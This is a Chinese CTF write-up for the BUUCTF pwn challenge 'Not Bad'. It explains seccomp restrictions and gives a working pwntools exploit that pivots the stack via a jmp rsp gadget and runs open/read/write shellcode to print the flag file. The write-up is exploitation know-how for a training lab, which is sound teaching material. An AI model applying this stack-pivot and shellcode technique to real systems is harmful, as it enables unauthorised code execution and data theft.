[BUUCTF-pwn]——[极客大挑战 2019]Not Bad

又是一道收获满满的题目.

peak小知识

  • seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.
  • seccomp-tools: 沙盒工具, 可以查看那些系统调用可以被使用, 安装在我的环境搭建专栏里面有, 也可以点我点我
    保护基本木有开启, 只是开启了地址随机化

    在IDA中看看
    利用mmap创建了从0x123000开始长度为0x1000的可执行区域.
    不清楚的可以看下之前的peak小知识, 或者百度.

    发现一些系统调用被禁用

利用沙盒查看下, 发现read、write、open、exit系统调用可以使用.
一个典型的ORW问题

继续看IDA

其实可以在栈上进行编写shellcode的,但是发现大小不够
所以可以转跳至mmap的区域, 我们可以利用栈劫持, 将程序劫持到我们的栈上, 使其按照我们想要的方式运行

下面是exploit

exploit

from pwn import *p=remote('node3.buuoj.cn',26573)
p = process('./bad')
context.binary=ELF('./bad')
#gdb.attach(p, 'b puts')
mmap=0x123000
jmp_rsp=0x400A01# 劫持到栈上并执行buf的代码
payload1=(asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
p.sendafter('have fun!',payload1)#其实这个基本都是这样可以记着
payload2=shellcraft.open('./flag')
payload2+=shellcraft.read(3,mmap+0x100,0x50)
payload2+=shellcraft.write(1,mmap+0x100,0x50)p.send(asm(payload2))
p.interactive()

[BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)相关推荐

  1. BUUCTF Web 极客大挑战 2019 EasySQL

    BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...

  2. BUUCTF WEB [极客大挑战 2019]LoveSQL

    BUUCTF WEB [极客大挑战 2019]LoveSQL 进入靶机后尝试万能密码登录 admin 123' or '1'='1 获得flag Login Success! Hello admin! ...

  3. BUUCTF Web [极客大挑战 2019]Havefun

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  4. 【BUUCTF】[极客大挑战 2019]RCE ME

    源码 <?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40) ...

  5. BUUCTF Web [极客大挑战 2019]EasySQL

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  6. 【BUUCTF】[极客大挑战 2019]Havefun 1

    主要考察对源代码的理解 1.进入网站 2.发现网页并没有什么有用的提示,观察源代码发现可能有用的判别语句 3.尝试输入?cat=dog

  7. BUUCTF:[极客大挑战 2019]RCE ME

    这题和我这篇文章内容相关:关于PHP正则的一些绕过方法 绕过正则,有长度限制,先出一个phpinfo()看一下配置,payload很多,我上面那篇文章里面的也可以,我这里直接用取反urlencode编 ...

  8. BUUCTF [极客大挑战 2019] PHP

    BUUCTF [极客大挑战 2019] PHP 启动靶机,打开页面: 提示为备份,尝试使用脚本扫描备份文件: Python备份文件扫描脚本参考本篇文章 判断应该存在备份文件:www.zip 下载得到源 ...

  9. BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http

    目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Pin ...

最新文章

  1. 94.二叉树的中序遍历
  2. POJ 3580 SuperMemo
  3. Spark UDF变长参数的二三事儿
  4. 吉林省计算机二级考试题型,吉林省 | 2018年上半年全国计算机二级考试报考简章...
  5. 字符集_第07期:有关 MySQL 字符集的 SQL 语句
  6. 计算机开机引导的结果是,电脑开机显示引导媒体是怎么回事
  7. 硬盘、服务器、RAID磁盘阵列
  8. ACM弱校ACMer A HDU1045Fire Net有感
  9. 使用Python实现生产者消费者问题
  10. Rust : 加密中数论基础知识、RSA加密算法及证明(待续)
  11. python爬虫ip限制_爬虫访问中如何解决网站限制IP的问题?
  12. Android kotlin let函数学习
  13. java am pm_【am.pm正确时间书写格式】作文写作问答 - 归教作文网
  14. python如何编写爬虫程序_python编写网络爬虫程序
  15. Python爬虫 Selenium实现自动登录163邮箱和Locating Elements介绍
  16. 解决(CRON) info (No MTA installed, discarding output)
  17. 医学图象存储、检索和显示的新技术及新动向
  18. 三维空间的三角剖分( 3D Delaunay Triangulated graph)第二部分:剖分三维空间
  19. JavaWEB快速入门之验证码及课堂项目【04】
  20. AsyncHttpClient源码分析-基于Netty的连接池实现

热门文章

  1. C# Winform验证码
  2. FMS3 服务器集群虚拟服务器配置入门
  3. 怎样用java写一个简单的文件复制程序
  4. 软件测试作业5:计算下列代码片段的 Halstead 复杂度的11项内容
  5. 【数据结构与算法】之深入解析“实现strStr()”的求解思路与算法示例
  6. 学校(School)主要有3大角色:学校(School),讲师(Teacher),学员(Student)。请用Python语言简要实现这些类及及其属性,以及它们之间的关系。
  7. 2019第十届蓝桥杯C/C++ A组省赛 —— 第二题: 数列求值
  8. 征战蓝桥 —— 2017年第八届 —— C/C++A组第5题——字母组串
  9. 【机器视觉】 dev_inspect_ctrl算子
  10. 【Qt5.8】Qt5.8中QTableWidget 类介绍